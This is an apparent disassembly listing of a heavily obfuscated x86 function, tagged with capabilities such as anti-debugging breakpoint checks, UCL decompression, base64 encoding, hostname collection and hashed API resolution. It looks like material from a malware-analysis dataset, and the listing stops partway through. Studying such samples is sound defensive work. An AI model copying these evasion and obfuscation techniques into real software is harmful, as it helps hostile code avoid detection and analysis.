Function at 0x4341d0
Capabilities:
Check for software breakpoints
Decompress data using ucl
Encode data using base64
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x300
mov esi, esp
mov dword [esi], 0x7b829d7e
mov eax, dword [esi]
cmp eax, 0xf92adab7
jg 0x4342b5
cmp eax, 0xb900e2fd
jg 0x434346
cmp eax, 0x9dfccdd6
jg 0x43441e
cmp eax, 0x8eaab81c
jle 0x4345fd
cmp eax, 0x98fbf504
jle 0x43495a
cmp eax, 0x9c2167da
jle 0x434f1a
cmp eax, 0x9c9ae2ed
jle 0x43596d
cmp eax, 0x9d4ee771
jg 0x436cdf
cmp eax, 0x9c9ae2ee
je 0x436eb6
cmp eax, 0x9cc835ea
jne 0x4341e7
imul ebx, dword [esi + 4], 0x570
add ebx, 0xfffdca80
shr ebx, 3
add ebx, 0xffffff5d
mov edi, ebx
shr edi, 8
mov dword [esi + 4], edi
push 0x26b7
push 0x60e4
push edi
push 0x1eff
call fcn.004399a0
add esp, 0x10
push 0x20e9
push edi
push 0x5ca4
call fcn.004250b7
add esp, 0xc
mov eax, 0xe2e8a630
cmp ebx, 0xce00
jb 0x4342ae
mov eax, 0x7131b82e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x3325a9b6
jle 0x4343b2
cmp eax, 0x52f1c847
jg 0x4344b7
cmp eax, 0x4160e19a
jle 0x434676
cmp eax, 0x475d0cad
jle 0x4349c1
cmp eax, 0x4e4af96a
jle 0x434f54
cmp eax, 0x508dfb4b
jle 0x4359d8
cmp eax, 0x5201ec0b
jg 0x436d27
cmp eax, 0x508dfb4c
je 0x436edb
cmp eax, 0x516304b9
jne 0x4341e7
imul eax, dword [esi + 8], 0x10a
shr eax, 0xd
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2123
dec edx
mov eax, 0x94fbdada
cmp edx, ecx
je 0x43433f
mov eax, 0x80002f72
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xd914716e
jle 0x434513
cmp eax, 0xe910e547
jle 0x4346e9
cmp eax, 0xf33e381a
jle 0x434a25
cmp eax, 0xf59aa410
jle 0x434f8b
cmp eax, 0xf7f4c540
jle 0x435a2d
cmp eax, 0xf85c6f05
jg 0x436d5a
cmp eax, 0xf7f4c541
je 0x436f1a
cmp eax, 0xf81480c8
jne 0x4341e7
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x14]
mov dword [esi], 0xcf303784
jmp 0x4341e7
cmp eax, 0x13ed629f
jle 0x434582
cmp eax, 0x2348d220
jle 0x43474a
cmp eax, 0x2d0cd767
jle 0x434a92
cmp eax, 0x2eac4377
jle 0x434fd1
cmp eax, 0x30e73b44
jle 0x435a98
cmp eax, 0x3266c6c9
jg 0x436db2
cmp eax, 0x30e73b45
je 0x436f48
cmp eax, 0x323e6350
jne 0x4341e7
mov eax, dword [esi + 0x15c]
mov byte [eax], 0
mov dword [esi], 0xb92cdf6
jmp 0x4341e7
cmp eax, 0xab04b21c
jle 0x4347b2
cmp eax, 0xb11ae241
jle 0x434aed
cmp eax, 0xb3ca34d1
jle 0x43503e
cmp eax, 0xb66cf8ec
jle 0x435ad2
cmp eax, 0xb7492519
jg 0x436e08
cmp eax, 0xb66cf8ed
je 0x436f6f
cmp eax, 0xb6a34bc2
jne 0x4341e7
mov eax, 2
push eax
push 0x470554
push eax
push dword [esi + 0x74]
call fcn.004399a0
add esp, 0x10
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x74]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xe8], eax
mov dword [esi], 0x959ee4ba
jmp 0x4341e7
cmp eax, 0x6a910d01
jle 0x434837
cmp eax, 0x74b82695
jle 0x434b3b
cmp eax, 0x79322a21
jle 0x4350b4
cmp eax, 0x7c4f8090
jle 0x435b0a
cmp eax, 0x7f31619e
jg 0x436e3b
cmp eax, 0x7c4f8091
je 0x436f7d
cmp eax, 0x7e22b5d6
jne 0x4341e7
shl dword [esi + 4], 0x1e
mov dword [esi], 0x79322a22
jmp 0x4341e7
cmp eax, 0xc7e3c84e
jle 0x43488e
cmp eax, 0xd35847e4
jg 0x434bad
cmp eax, 0xcf0ed0fb
jle 0x4350eb
cmp eax, 0xd05b7f20
jg 0x435b44
cmp eax, 0xd00f3da2
jle 0x436e92
cmp eax, 0xd00f3da3
je 0x436f8b
cmp eax, 0xd02223be
jne 0x4341e7
push 8
push 0x470602
push 0xe
push dword [esi + 0x94]
call fcn.004399a0
add esp, 0x10
mov dword [esi], 0xc2428242
jmp 0x4341e7
cmp eax, 0x6f32ba3
jg 0x43490d
cmp eax, 0x127c5d6
jg 0x434c15
cmp eax, 0xfe34094b
jg 0x43513c
cmp eax, 0xfbe923ff
jg 0x435b9c
cmp eax, 0xf92adab8
je 0x436faf
cmp eax, 0xfb735db9
je 0x436ff3
cmp eax, 0xfbae6897
jne 0x4341e7
imul ecx, dword [esi + 4], 0x780
add ecx, 0xffffc800
mov eax, ecx
shr eax, 0xa
mov dword [esi + 4], eax
mov eax, 0x55e9cc84
cmp ecx, 0x21400
jb 0x4345f6
mov eax, 0x93d0aca9
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x86f9a22d
jg 0x434c76
cmp eax, 0x8410c220
jg 0x435195
cmp eax, 0x82fc375e
jg 0x435bee
cmp eax, 0x80002f72
je 0x43700a
cmp eax, 0x81e12f62
je 0x437018
cmp eax, 0x826ee42d
jne 0x4341e7
mov ecx, dword [esi + 8]
imul eax, ecx, 0x4ed5
imul eax, eax
imul edx, eax, 0x74d9
dec edx
imul ecx, ecx, 0x49e7b0
add ecx, 0x5af0
mov dword [esi + 8], ecx
mov ecx, 0x9487decb
cmp edx, eax
je 0x43466f
mov ecx, 0x79322a22
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0x375c1a19
jg 0x434cb8
cmp eax, 0x3597512a
jg 0x4351ea
cmp eax, 0x3478b7e0
jg 0x435c30
cmp eax, 0x3325a9b7
je 0x437035
cmp eax, 0x3354f554
je 0x437058
cmp eax, 0x3361bb01
jne 0x4341e7
mov eax, dword [esi + 8]
imul ecx, eax, 0x91
imul ecx, ecx
imul edx, ecx, 0x2729
dec edx
imul eax, eax, 0x86ce0
mov dword [esi + 8], eax
mov eax, 0x5ab416d0
cmp edx, ecx
je 0x4346e2
mov eax, 0xba19f14a
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xe2af09d7
jg 0x434d20
cmp eax, 0xddae6693
jg 0x435230
cmp eax, 0xda9cda1d
jg 0x435ca2
cmp eax, 0xd914716f
je 0x43706f
cmp eax, 0xd9c3e8f0
je 0x43707a
cmp eax, 0xd9df720d
jne 0x4341e7
mov eax, dword [esi + 0x74]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x74]
movzx ecx, word [0x470552]
mov word [eax], cx
mov dword [esi], 0xb6a34bc2
jmp 0x4341e7
cmp eax, 0x1adb96c8
jg 0x434d8a
cmp eax, 0x15d2c64f
jg 0x43529c
cmp eax, 0x154e76a9
jg 0x435cee
cmp eax, 0x13ed62a0
je 0x4370b6
cmp eax, 0x1401a1cc
je 0x4370d9
cmp eax, 0x150f2f51
jne 0x4341e7
imul ecx, dword [esi + 4], 0x3800000
add ecx, 0x1c800000
mov dword [esi + 4], ecx
mov eax, 0xf7f4c541
cmp ecx, 0x64
jl 0x4347ab
mov eax, 0x7a18dbdd
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xa30b2c57
jg 0x434dcc
cmp eax, 0xa0519cbf
jg 0x4352f5
cmp eax, 0xa014e767
jg 0x435d3b
cmp eax, 0x9dfccdd7
je 0x4370f9
cmp eax, 0x9e42c244
je 0x437104
cmp eax, 0x9f39c676
jne 0x4341e7
mov edi, dword [esi + 4]
shl edi, 5
and edi, 0xffffc000
add edi, 0xffffff84
mov eax, edi
shr eax, 0x15
mov dword [esi + 4], eax
push 0x134a
push eax
push 0x4e6e
call fcn.004250b7
add esp, 0xc
mov eax, 0x4bc4c343
cmp edi, 0x12400000
jae 0x434830
mov eax, 0x996aa53e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x5eb38df0
jg 0x434e18
cmp eax, 0x58d7c06f
jg 0x43533b
cmp eax, 0x5616715b
jg 0x435d67
cmp eax, 0x52f1c848
je 0x437145
cmp eax, 0x54c5384c
je 0x43716f
cmp eax, 0x55e9cc84
jne 0x4341e7
mov eax, dword [esi + 0x94]
mov byte [eax + 0xe], 0
mov dword [esi], 0xe99d364
jmp 0x4341e7
cmp eax, 0xc02aa3dd
jg 0x434e6a
cmp eax, 0xbba16f8f
jg 0x43539d
cmp eax, 0xba6311c3
jg 0x435dea
cmp eax, 0xb900e2fe
je 0x43718e
cmp eax, 0xba19f14a
je 0x4371c7
cmp eax, 0xba621180
jne 0x4341e7
mov edi, dword [esi + 4]
shl edi, 0xc
add edi, 0xffffff59
mov dword [esi + 4], edi
push 0x5e16
push 0x772
push edi
call fcn.004250b7
add esp, 0xc
call fcn.004079ef
mov eax, 0x164f71a1
cmp edi, 0x34
jge 0x434906
mov eax, 0x87c33b4e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xe67f839
jg 0x434eb6
cmp eax, 0xb7f4f9b
jg 0x435419
cmp eax, 0x9846d7a
jg 0x435e37
cmp eax, 0x6f32ba4
je 0x4371e4
cmp eax, 0x7d607d0
je 0x437205
cmp eax, 0x7fe3d7a
jne 0x4341e7
mov dword [esi], 0xeb103755
jmp 0x4341e7
cmp eax, 0x9487deca
jg 0x43547b
cmp eax, 0x90a7d721
jg 0x435e74
cmp eax, 0x8eaab81d
je 0x437225
cmp eax, 0x8ecd0d61
je 0x43725a
cmp eax, 0x8efadeee
jne 0x4341e7
mov eax, dword [esi + 8]
add eax, 0xfffffff9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2d9f
dec edx
shr eax, 9
and eax, 0xfffffff0
mov dword [esi + 8], eax
mov eax, 0xbd4ff6ac
cmp ecx, edx
je 0x4349ba
mov eax, 0x3597512b
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x4475c09b
jg 0x435506
cmp eax, 0x427e6b9b
jg 0x435ec0
cmp eax, 0x4160e19b
je 0x437265
cmp eax, 0x41e179c3
je 0x4372b2
cmp eax, 0x425df280
jne 0x4341e7
mov eax, dword [esi + 8]
add eax, 0x4f
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5c11
shl eax, 7
dec edx
mov dword [esi + 8], eax
mov eax, 0xba621180
cmp edx, ecx
je 0x434a1e
mov eax, 0xe112a8d8
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xedd65c38
jg 0x43554e
cmp eax, 0xeb1fd2ba
jg 0x435eec
cmp eax, 0xe910e548
je 0x4372e1
cmp eax, 0xeb070364
je 0x437328
cmp eax, 0xeb103755
jne 0x4341e7
push 1
mov edi, 0xa
push edi
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xfc], eax
push edi
push dword [esi + 0xfc]
push dword [esi + 0x1dc]
call fcn.0044b6cc
add esp, 0xc
mov dword [esi], 0xfe9cbc93
jmp 0x4341e7
cmp eax, 0x2a06db1a
jg 0x435595
cmp eax, 0x26f04996
jg 0x435f1c
cmp eax, 0x2348d221
je 0x437333
cmp eax, 0x24f64721
je 0x437376
cmp eax, 0x26aae736
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 3
and eax, 0x1ffff000
imul eax, eax, 0xd3
add eax, 0xffffd943
mov dword [esi + 8], eax
mov dword [esi], 0xb749251a
jmp 0x4341e7
cmp eax, 0xaed98af2
jg 0x4355f0
cmp eax, 0xac4128e6
jg 0x435f4c
cmp eax, 0xab04b21d
je 0x4373b0
cmp eax, 0xab637620
je 0x4373cb
cmp eax, 0xab8a5b55
jne 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x14
lea eax, [eax + eax*2]
mov dword [esi + 8], eax
mov dword [esi], 0x6b36a75c
jmp 0x4341e7
cmp eax, 0x6f4f0b34
jg 0x435647
cmp eax, 0x6b406906
jg 0x435f9e
cmp eax, 0x6a910d02
je 0x4373e2
cmp eax, 0x6b36a75c
je 0x437435
cmp eax, 0x6b38afcd
jne 0x4341e7
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x20], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c4]
mov dword [eax + 0x24], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1c8]
mov dword [eax + 0x28], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1cc]
mov dword [eax + 0x2c], ecx
mov dword [esi], 0x2ba63e6d
jmp 0x4341e7
cmp eax, 0xd5e1a956
jg 0x43567e
cmp eax, 0xd562ff24
jg 0x435ff8
cmp eax, 0xd35847e5
je 0x437489
cmp eax, 0xd40c2a9b
je 0x4374a3
cmp eax, 0xd426a01b
jne 0x4341e7
mov eax, dword [esi + 0x1c]
add eax, 0x24
push eax
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x1d4], eax
mov dword [esi], 0x1314e9f5
jmp 0x4341e7
cmp eax, 0x31419f3
jg 0x4356b5
cmp eax, 0x188fec5
jg 0x436027
cmp eax, 0x127c5d7
je 0x4374da
cmp eax, 0x173755c
je 0x4374f0
cmp eax, 0x181c18f
jne 0x4341e7
mov edi, dword [esi + 4]
shr edi, 0xa
add edi, 0x48
mov dword [esi + 4], edi
call fcn.004079ef
mov eax, 0xeb1fd2bb
cmp edi, 0xbf
je 0x434c6f
mov eax, 0x8a93974e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x8a93974d
jg 0x435715
cmp eax, 0x87c33b4d
jg 0x436062
cmp eax, 0x86f9a22e
je 0x437531
cmp eax, 0x8792d193
je 0x43754f
cmp eax, 0x87978f14
jne 0x4341e7
mov dword [esi], 0x5e631d97
jmp 0x4341e7
cmp eax, 0x3d690807
jg 0x435757
cmp eax, 0x398a740d
jg 0x4360c6
cmp eax, 0x375c1a1a
je 0x437585
cmp eax, 0x3825f49b
je 0x4375a2
cmp eax, 0x39083938
jne 0x4341e7
push dword [esi + 0x18]
call fcn.0043efa8
add esp, 4
mov dword [esi + 0x160], eax
push 1
push 0x800
call fcn.0044d0d3
add esp, 8
mov dword [esi + 0xf0], eax
mov dword [esi], 0x173755c
jmp 0x4341e7
cmp eax, 0xe5444043
jg 0x4357cb
cmp eax, 0xe2fec061
jg 0x43610f
cmp eax, 0xe2af09d8
je 0x4375d3
cmp eax, 0xe2e8a630
je 0x437602
cmp eax, 0xe2f223ef
jne 0x4341e7
mov eax, dword [esi + 8]
add eax, 0x11
shr eax, 8
imul eax, eax, 0xbd
mov dword [esi + 8], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2b9d
dec edx
mov eax, 0x7b829d7e
cmp edx, ecx
je 0x434d83
mov eax, 0x9c9ae2ee
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x1d8ef529
jg 0x435810
cmp eax, 0x1b9c2851
jg 0x436153
cmp eax, 0x1adb96c9
je 0x43763f
cmp eax, 0x1af124cf
je 0x437685
cmp eax, 0x1b484b2e
jne 0x4341e7
mov dword [esi], 0x2e8f3ae5
jmp 0x4341e7
cmp eax, 0xa7677bd9
jg 0x43585d
cmp eax, 0xa572ca23
jg 0x43619d
cmp eax, 0xa30b2c58
je 0x4376bd
cmp eax, 0xa4597235
je 0x4376f4
cmp eax, 0xa520232e
jne 0x4341e7
imul eax, dword [esi + 8], 0x147e
mov dword [esi + 8], eax
mov dword [esi], 0xcb0fbf0
jmp 0x4341e7
cmp eax, 0x670d9187
jg 0x435897
cmp eax, 0x6481c9f2
jg 0x436238
cmp eax, 0x5eb38df1
je 0x4376ff
cmp eax, 0x6145a3fc
je 0x437723
cmp eax, 0x630b484b
jne 0x4341e7
imul eax, dword [esi + 8], 0xfc
add eax, 0xffffff83
shr eax, 6
mov dword [esi + 8], eax
mov dword [esi], 0x8410c221
jmp 0x4341e7
cmp eax, 0xc506f8e9
jg 0x4358d1
cmp eax, 0xc3c216cd
jg 0x4362c0
cmp eax, 0xc02aa3de
je 0x437758
cmp eax, 0xc0cd4a34
je 0x437780
cmp eax, 0xc2428242
jne 0x4341e7
imul eax, dword [esi + 8], 0x10800
mov dword [esi + 8], eax
mov dword [esi], 0x2f07c3be
jmp 0x4341e7
cmp eax, 0x10f35982
jg 0x435911
cmp eax, 0xfd47929
jg 0x4362fa
cmp eax, 0xe67f83a
je 0x43779c
cmp eax, 0xe99d364
je 0x4377b3
cmp eax, 0xf3a760c
jne 0x4341e7
mov edi, dword [esi + 4]
shl edi, 5
and edi, 0x1ffffe0
mov dword [esi + 4], edi
call fcn.004079ef
mov eax, 0xe38d4443
cmp edi, 0xe8
jae 0x434f13
mov eax, 0x7b829d7e
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x99fadd28
jg 0x436356
cmp eax, 0x98fbf505
je 0x4377ef
cmp eax, 0x996aa53e
je 0x437809
cmp eax, 0x99c5c021
jne 0x4341e7
mov eax, dword [esi + 0x38]
mov dword [esi], 0x47ca0205
jmp 0x4341e7
cmp eax, 0x48df61c3
jg 0x436390
cmp eax, 0x475d0cae
je 0x437836
cmp eax, 0x47ca0205
je 0x437854
cmp eax, 0x486cf2cd
jne 0x4341e7
mov dword [esi], 0x8b26ba60
jmp 0x4341e7
cmp eax, 0xf47aba47
jg 0x4363d1
cmp eax, 0xf33e381b
je 0x437868
cmp eax, 0xf44ecfb2
je 0x437882
cmp eax, 0xf4663ab1
jne 0x4341e7
mov eax, dword [esi + 4]
and eax, 0xffffffe0
shl eax, 0xe
or eax, 0x49
mov dword [esi + 4], eax
mov dword [esi], 0x1401a1cc
jmp 0x4341e7
cmp eax, 0x2e79a0da
jg 0x436409
cmp eax, 0x2d0cd768
je 0x43789c
cmp eax, 0x2dce13d0
je 0x4378c4
cmp eax, 0x2e3110c5
jne 0x4341e7
mov ecx, dword [esi + 8]
mov eax, 0xffffff14
add ecx, eax
shr ecx, 3
lea eax, [ecx + 0xa4]
imul eax, eax
imul edx, eax, 0x6d67
dec edx
imul ecx, ecx, 0x68940
add ecx, 0xa15c5c0
mov dword [esi + 8], ecx
mov ecx, 0x7b829d7e
cmp edx, eax
je 0x435037
mov ecx, 0xcaa99b05
mov dword [esi], ecx
jmp 0x4341e7
cmp eax, 0xb1a57c99
jg 0x43645f
cmp eax, 0xb11ae242
je 0x4378de
cmp eax, 0xb14b28f1
je 0x437903
cmp eax, 0xb1520a45
jne 0x4341e7
imul edi, dword [esi + 4], 0x52000000
add edi, 0xccd6802b
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
push 0x3c37
push 0x38af
push edi
push 0x5b18
call fcn.004399a0
add esp, 0x10
mov eax, 0x181c18f
cmp edi, 0xa2
jl 0x4350ad
mov eax, 0x524f7fc6
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x7590f0fd
jg 0x43648b
cmp eax, 0x74b82696
je 0x437917
cmp eax, 0x7505dd62
je 0x437939
cmp eax, 0x753381f7
jne 0x4341e7
mov dword [esi], 0xf562b189
jmp 0x4341e7
cmp eax, 0xcaa99b04
jg 0x4364ba
cmp eax, 0xc7e3c84f
je 0x437953
cmp eax, 0xc7f149d1
je 0x437978
cmp eax, 0xc91f0dc7
jne 0x4341e7
mov eax, dword [esi + 4]
shr eax, 3
imul ecx, eax, 0xb0
mov dword [esi + 4], ecx
mov eax, 0xd5c46b10
cmp ecx, 0x2a
jae 0x435135
mov eax, 0x6b36a75c
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xff0f7584
jg 0x4364f9
cmp eax, 0xfe34094c
je 0x4379a8
cmp eax, 0xfe9cbc93
je 0x4379da
cmp eax, 0xfee0ed44
jne 0x4341e7
mov eax, dword [esi + 8]
shr eax, 0xa
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x29bb
dec edx
add eax, 0x24
mov dword [esi + 8], eax
mov eax, 0x7a18dbdd
cmp ecx, edx
je 0x43518e
mov eax, 0x3266c6ca
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x850da2ba
jg 0x43655d
cmp eax, 0x8410c221
je 0x437a10
cmp eax, 0x84554dd1
je 0x437a73
cmp eax, 0x8509b7d8
jne 0x4341e7
mov eax, dword [esi + 0x54]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
mov dword [esi], 0xd40c2a9b
jmp 0x4341e7
cmp eax, 0x369d02ba
jg 0x43658c
cmp eax, 0x3597512b
je 0x437aab
cmp eax, 0x35ce95f3
je 0x437ae1
cmp eax, 0x366a8f86
jne 0x4341e7
imul eax, dword [esi + 8], 0x691f700
add eax, 0x45ac0
mov dword [esi + 8], eax
mov dword [esi], 0xec44c6ee
jmp 0x4341e7
cmp eax, 0xe0ce4394
jg 0x4365e7
cmp eax, 0xddae6694
je 0x437aec
cmp eax, 0xdea971bc
je 0x437b24
cmp eax, 0xdff3f166
jne 0x4341e7
imul edi, dword [esi + 4], 0xad
mov eax, edi
shr eax, 0xe
mov dword [esi + 4], eax
push 0x22e3
push eax
push 0x53ca
push 0x5f5
call fcn.00439900
add esp, 0x10
mov eax, 0x9e42c244
cmp edi, 0x2d8000
jb 0x435295
mov eax, 0x6f4f0b35
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x18963149
jg 0x43662a
cmp eax, 0x15d2c650
je 0x437b52
cmp eax, 0x15fa78a4
je 0x437b7c
cmp eax, 0x164f71a1
jne 0x4341e7
push dword [esi + 0x64]
push 0x3d95e230
call fcn.0043cda8
add esp, 8
push 0
call eax
mov dword [esi + 0x118], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x68], eax
mov dword [esi], 0xa87d953
jmp 0x4341e7
cmp eax, 0xa16d3974
jg 0x436697
cmp eax, 0xa0519cc0
je 0x437bae
cmp eax, 0xa098f6f1
je 0x437be8
cmp eax, 0xa141c1ec
jne 0x4341e7
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x158]
mov word [eax + ecx], 0xa
mov dword [esi], 0x99c5c021
jmp 0x4341e7
cmp eax, 0x5ab416cf
jg 0x4366d1
cmp eax, 0x58d7c070
je 0x437c1d
cmp eax, 0x5966d6ac
je 0x437c37
cmp eax, 0x59e1d201
jne 0x4341e7
imul edi, dword [esi + 4], 0x6c
add edi, 0xffffe2e4
mov dword [esi + 4], edi
push 0x1caa
push edi
push 0xe74
call fcn.004250b7
add esp, 0xc
mov eax, 0x1f64fb16
cmp edi, 0x2e
jae 0x435396
mov eax, 0x9a40de10
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0xbde0d5cf
jg 0x436777
cmp eax, 0xbba16f90
je 0x437c69
cmp eax, 0xbd121001
je 0x437c8f
cmp eax, 0xbd4ff6ac
jne 0x4341e7
mov eax, dword [esi + 0x78]
mov word [eax + 0x18], 0
push 0x18
push 0x466b60
push dword [esi + 0x78]
call fcn.00441d60
add esp, 0xc
push 6
push 0x466b78
push 0xc
push dword [esi + 0x78]
call fcn.00439900
add esp, 0x10
push dword [esi + 0x78]
push 0xa2f80070
call fcn.0043cda8
add esp, 8
mov dword [esi + 0x138], eax
mov dword [esi], 0x5c26d242
jmp 0x4341e7
cmp eax, 0xcb0fbef
jg 0x4367b2
cmp eax, 0xb7f4f9c
je 0x437ca5
cmp eax, 0xb92cdf6
je 0x437cdd
cmp eax, 0xc805c99
jne 0x4341e7
imul edi, dword [esi + 4], 0x832e
add edi, 0xfffffffc
mov dword [esi + 4], edi
push 0x47ce
push edi
push 0x3a07
call fcn.004250b7
add esp, 0xc
mov eax, 0x15a09b8c
cmp edi, 0x21
jl 0x435474
mov eax, 0x455283a
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x959ee4b9
jg 0x4367ed
cmp eax, 0x9487decb
je 0x437cf5
cmp eax, 0x94d41fcc
je 0x437d20
cmp eax, 0x94fbdada
jne 0x4341e7
mov eax, dword [esi + 0x80]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e8], edx
mov al, byte [eax + 8]
mov byte [esi + 0x1ec], al
lea eax, [esi + 0x1e4]
push eax
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xec]
push dword [esi + 0xc]
call fcn.0044e3c0
add esp, 8
push dword [esi + 0xc]
call fcn.0044e5a0
add esp, 4
mov dword [esi + 0x144], eax
mov dword [esi], 0xf44ecfb2
jmp 0x4341e7
cmp eax, 0x45dda33d
jg 0x436819
cmp eax, 0x4475c09c
je 0x437d41
cmp eax, 0x44c10536
je 0x437d86
cmp eax, 0x44eff2d0
jne 0x4341e7
mov eax, dword [esi + 4]
shl eax, 0xb
add eax, 0x1508b
shr eax, 2
mov dword [esi + 4], eax
mov dword [esi], 0x3478b7e1
jmp 0x4341e7
cmp eax, 0xf145ddce
jg 0x436869
cmp eax, 0xedd65c39
je 0x437db3
cmp eax, 0xede0b7b1
je 0x437dd8
cmp eax, 0xf0558411
jne 0x4341e7
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x70]
mov byte [eax + 0xf], 0
mov dword [esi], 0xdea971bc
jmp 0x4341e7
cmp eax, 0x2ba63e6c
jg 0x4368ba
cmp eax, 0x2a06db1b
je 0x437df4
cmp eax, 0x2b60bfed
je 0x437e06
cmp eax, 0x2b64cc5d
jne 0x4341e7
push 0x55
push dword [esi + 0xf4]
push dword [esi + 0xf8]
call fcn.00451ea6
add esp, 0xc
mov eax, dword [esi + 0x4c]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi], 0x1078dc1c
jmp 0x4341e7
cmp eax, 0xaff91869
jg 0x436906
cmp eax, 0xaed98af3
je 0x437e82
cmp eax, 0xaf54701f
je 0x437ecb
cmp eax, 0xaf92ce38
jne 0x4341e7
mov eax, dword [esi + 4]
lea ecx, [eax*8 - 0x3f]
mov eax, ecx
shr eax, 7
mov dword [esi + 4], eax
mov eax, 0x1b9c2852
cmp ecx, 0x4100
jb 0x435640
mov eax, 0xf0558411
mov dword [esi], eax
jmp 0x4341e7
cmp eax, 0x73087032
jg 0x43695a
cmp eax, 0x6f4f0b35
je 0x437f0e
cmp eax, 0x7131b82e
je 0x437f6c
cmp eax, 0x719fe0ff
jne 0x4341e7
mov dword [esi], 0xede0b7b1
jmp 0x4341e7
cmp eax, 0xd7b4c8d5
jg 0x4369c2
cmp eax, 0xd5e1a957
je 0x437fbd
cmp eax, 0xd6d9a043
je 0x438012
cmp eax, 0xd73ceb27
jne 0x4341e7
mov dword [esi], 0x4e4af96b
jmp 0x4341e7
cmp eax, 0x4a38f20
jg 0x436a05
cmp eax, 0x31419f4
je 0x438052
cmp eax, 0x3fd5b54
je 0x438095
cmp eax, 0x455283a
jne 0x4341e7
mov eax, dword [esi + 0x18c]
mov byte [eax], 0
mov eax, dword [esi + 0xa0]
mov ecx, dword [0x470640]
mov dword [eax + 8], ecx
mov ecx, dword [0x47063c]
mov dword [eax + 4], ecx
mov ecx, dword [0x470638]
mov dword [eax], ecx
mov dword [esi], 0xb7f4f9c
jmp 0x4341e7
cmp eax, 0x8c9a7c35
jg 0x436a5a
cmp eax, 0x8a93974e
je 0x4380d3
cmp eax, 0x8b26ba60
je 0x4380ea
cmp eax, 0x8bd3325c
jne 0x4341e7
mov eax, dword [esi + 0x1d8]
push dword [esi + 0x20]
call eax
mov dword [esi], 0xfee0ed44
jmp 0x4341e7
cmp eax, 0x3f742006
jg 0x436ab7
cmp eax, 0x3d690808
je 0x438134
cmp eax, 0x3df9b996
je 0x438148
cmp eax, 0x3e76fd7f
jne 0x4341e7
push eax
sub esp, 0x1c
mov edi, esp
mov byte [edi + 0x1d], 0
mov ebx, 0x1d
push ebx
push 0x470660
push edi
call fcn.00441d60
add esp, 0xc
push 4
push 0x47067d
push ebx
push edi
call fcn.004399a0
add esp, 0x10
push 0x1e
push edi
push dword [esi + 0x58]
call fcn.00441d60
add esp, 0xc
mov dword [esi], 0x8efadeee
jmp 0x4341e7
cmp eax, 0xe663ea59
jg 0x436af7
cmp eax, 0xe5444044
je 0x43816a
cmp eax, 0xe5545476
je 0x4381b0
cmp eax, 0xe57461c3
jne 0x4341e7
mov eax, dword [esi + 8]
shl eax, 0x1b
or eax, 0x63000
mov dword [esi + 8], eax
mov dword [esi], 0x444b1400
jmp 0x4341e7
cmp eax, 0x1fcf7e49
jg 0x436b46
cmp eax, 0x1d8ef52a
je 0x4381bb
cmp eax, 0x1f54ac28
je 0x4381c6
cmp eax, 0x1f64fb16
jne 0x4341e7
push dword [esi + 0x68]
push 0x3d95e230
call fcn.0043cda8
add esp, 8
mov dword [esi + 0x120], eax
mov dword [esi], 0xf884d28d
jmp 0x4341e7
cmp eax, 0xa8be00b8
jg 0x436b8e
cmp eax, 0xa7677bda
je 0x4381f0
cmp eax, 0xa7949b7e
je 0x438208
cmp eax, 0xa8ac93ea
jne 0x4341e7
mov eax, dword [esi + 0x40]
mov dword [esi], 0xa934331e
jmp 0x4341e7
cmp eax, 0x67fbd7b9
jg 0x436be5
cmp eax, 0x670d9188
je 0x43823d
cmp eax, 0x673f437d
je 0x438262
